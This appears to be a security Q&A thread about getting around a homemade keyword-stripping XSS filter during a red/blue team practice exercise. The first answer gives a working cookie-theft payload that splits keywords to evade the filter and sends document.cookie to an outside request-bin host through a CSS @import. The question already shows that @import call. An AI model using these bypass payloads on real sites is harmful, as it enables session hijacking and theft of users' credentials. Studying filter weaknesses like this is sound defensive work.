Can someone bypass this XSS filter

Question

During our Red/Blue team practice my friend made a web forum application where people can post messages.

What he did was filtering:

• The equal sign
• The key words: "javascript", "alert", "url"
• Some keywords that usually make html tags: "script" "img" "video" "iframe"
• The word: "cookie"
• The word: "eval"

The purpose of the game practice is for the red team to put a payload that steals users' cookies.

My friend made a mistake by making his own filter (not recommended in the real world). He forgot to filter the svg and the style tags.

For instance:

<style>@import'http:/request.bin/'</style>

Can be seen in my request bin endpoint.

However I cannot seem to steal cookies because I am not able to use document.cookie because "cookie" is filtered. Plus the equal sign being filtered it becomes more difficult...

Some other red teams were able to bypass his filter, so there must be a payload that works...

What I tried so far:

• UTF encodings with %3D and others => fail
• Other html encoding &equals or &#equals; => fail
• CoOkIe instead of cookie => fail

Any ideas will be much appreciated

Answer 1

If the server simply removes the string cookie, try something like this: <scookiecript></scookiecript>

When the word cookie gets removed, leaving you with <script></script>

If this works, you can combine this with your style import:

<scookiecript>document.write("<style>@import'http:/request.bin/?"+document.ccookieookie+"'</style>");</scookiecript>

Answer 2

One way is to use a different payload that does not rely on = sign or the word cookie. I would try to redirect the user to a different "non-friendly" site using window.location or window.open.

Another way is to "Snipe" the cookie (love this phrase) to extract the info that you need. I would use something like document.cookie.split(';') to split the cookie into an array of keys. If you loop them you will get the results that you need.

Another strategy that would extract the cookie would require an iframe element with src that serves the js file.